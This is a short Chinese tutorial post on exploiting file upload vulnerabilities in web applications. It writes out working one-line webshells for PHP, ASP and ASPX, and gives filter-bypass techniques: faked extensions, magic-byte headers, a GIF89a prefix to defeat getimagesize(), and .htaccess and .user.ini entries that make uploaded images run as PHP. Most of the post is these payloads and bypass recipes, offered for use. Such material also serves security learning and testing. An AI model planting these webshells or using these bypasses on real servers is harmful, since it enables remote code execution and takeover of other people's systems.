关于文件上传那些事

2023-07-30 17:14:25 浏览数 (2)

如果一个网站允许上传文件,并且允许用户去访问这个文件,那么就可能存在文件上传漏洞。 当我们上传一个php文件并访问,那么这个php文件中的恶意代码将会被执行,我们的目的就是通过构造这个恶意代码,获取我们想要的信息,或执行我们想要的操作。例如下面这行代码:

代码语言:javascript复制
<?php @eval($_POST['a']) ?>

当我们用Post请求上传“ a='ls' ”后,页面就会返回'ls'的结果,同理我们可以构造其他我们想利用的代码。

在实际情况中很多服务器都有过滤机制,下面是一些常用的绕过技巧:

1. 由于php文件的特性,就算php文件的后缀名不是.php,一般的浏览器还是会将它当成php文件执行,我们可以修改文件的后缀名(png,jpg等)来绕过某些过滤机制。

2. 一句话木马的形式并不是唯一的,有以下几个变种,当第一种行不通时可以尝试其它的形式。 PHP一句话木马:

代码语言:javascript复制
<?php @eval($_POST['a']) ?>

<script language="php">eval($_POST['a']);</script>

ASP一句话木马:

代码语言:javascript复制
<%eval request (“a”)%>

ASPX一句话木马:

代码语言:javascript复制
 <%@ Page Language=“Jscript”%> <%eval(Request.Item[“a”],“unsafe”);%>

3. 有些网站可能会检测文件头是否合法,这时可以添加文件头进行绕过。 用16进制编辑器添加文件头:

  • jpg : FF D8 FF
  • png : 89 50 4E 47
  • gif : 47 49 46 38
  • xml : 3C 3F 78 6D 6C
  • html : 68 74 6D 6C 3E
  • zip : 50 4B 03 04
  • rar : 52 61 72 21
  • pdf : 25 50 44 46 2D 31 2E
  • xls,doc : D0 CF 11 E0

或者直接使用文本编辑器在开头加入GIF89a,来构造一个虚假的图片,可以绕过getimagesize()函数。

4. 有时文件上传成功后,访问并不能执行里面的脚本,可能还要上传.hatccess文件或者.user.ini文件使木马能够被解析。其中.hatccess只适用于apache,而.user.ini适用于大多数服务器。

.hatccess: 将png文件解析为php文件

代码语言:javascript复制
AddType application/x-httpd-php .png

将文件名含有字母“a”的文件解析为php文件

代码语言:javascript复制
<FilesMatch "a"> 
SetHandler application/x-httpd-php 
</FilesMatch>

.user.ini: 当服务器的脚本语言为php,且上传目录中有php文件时,可以尝试.user.ini进行绕过。一般脚本形式为:

代码语言:javascript复制
//绕过exif_imagetype()
GIF89a
//指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_prepend_file=a.jpg
//解析后进行包含
auto_append_file=a.jpg

0 人点赞